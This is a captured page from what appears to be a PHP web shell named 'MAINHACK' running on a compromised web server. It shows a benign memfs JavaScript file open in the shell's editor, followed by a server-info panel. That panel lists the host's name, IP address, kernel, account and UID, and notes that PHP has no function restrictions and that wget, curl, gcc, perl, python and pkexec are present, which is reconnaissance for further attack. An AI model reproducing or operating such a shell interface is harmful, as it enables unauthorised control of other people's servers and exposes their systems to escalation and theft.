[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: volume-localstorage.js
"use strict"; var __extends = (this && this.__extends) || (function () { var extendStatics = function (d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; return function (d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; })(); Object.defineProperty(exports, "__esModule", { value: true }); exports.createVolume = exports.ObjectStore = void 0; var volume_1 = require("./volume"); var node_1 = require("./node"); var ObjectStore = /** @class */ (function () { function ObjectStore(obj) { this.obj = obj; } ObjectStore.prototype.setItem = function (key, json) { this.obj[key] = JSON.stringify(json); }; ObjectStore.prototype.getItem = function (key) { var data = this.obj[key]; if (typeof data === void 0) return void 0; return JSON.parse(data); }; ObjectStore.prototype.removeItem = function (key) { delete this.obj[key]; }; return ObjectStore; }()); exports.ObjectStore = ObjectStore; function createVolume(namespace, LS) { if (LS === void 0) { LS = localStorage; } var store = new ObjectStore(LS); var key = function (type, id) { return "memfs.".concat(namespace, ".").concat(type, ".").concat(id); }; var NodeLocalStorage = /** @class */ (function (_super) { __extends(NodeLocalStorage, _super); function NodeLocalStorage() { return _super !== null && _super.apply(this, arguments) || this; } Object.defineProperty(NodeLocalStorage.prototype, "Key", { get: function () { if (!this._key) this._key = key('ino', this.ino); return this._key; }, enumerable: false, configurable: true }); NodeLocalStorage.prototype.sync = function () { store.setItem(this.Key, this.toJSON()); }; NodeLocalStorage.prototype.touch = function () { _super.prototype.touch.call(this); this.sync(); }; NodeLocalStorage.prototype.del = function () { _super.prototype.del.call(this); store.removeItem(this.Key); }; return NodeLocalStorage; }(node_1.Node)); var LinkLocalStorage = /** @class */ (function (_super) { __extends(LinkLocalStorage, _super); function LinkLocalStorage() { return _super !== null && _super.apply(this, arguments) || this; } Object.defineProperty(LinkLocalStorage.prototype, "Key", { get: function () { if (!this._key) this._key = key('link', this.getPath()); return this._key; }, enumerable: false, configurable: true }); LinkLocalStorage.prototype.sync = function () { store.setItem(this.Key, this.toJSON()); }; return LinkLocalStorage; }(node_1.Link)); return /** @class */ (function (_super) { __extends(VolumeLocalStorage, _super); function VolumeLocalStorage() { return _super.call(this, { Node: NodeLocalStorage, Link: LinkLocalStorage, }) || this; } VolumeLocalStorage.prototype.createLink = function (parent, name, isDirectory, perm) { var link = _super.prototype.createLink.call(this, parent, name, isDirectory, perm); store.setItem(key('link', link.getPath()), link.toJSON()); return link; }; VolumeLocalStorage.prototype.deleteLink = function (link) { store.removeItem(key('link', link.getPath())); return _super.prototype.deleteLink.call(this, link); }; return VolumeLocalStorage; }(volume_1.Volume)); } exports.createVolume = createVolume;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002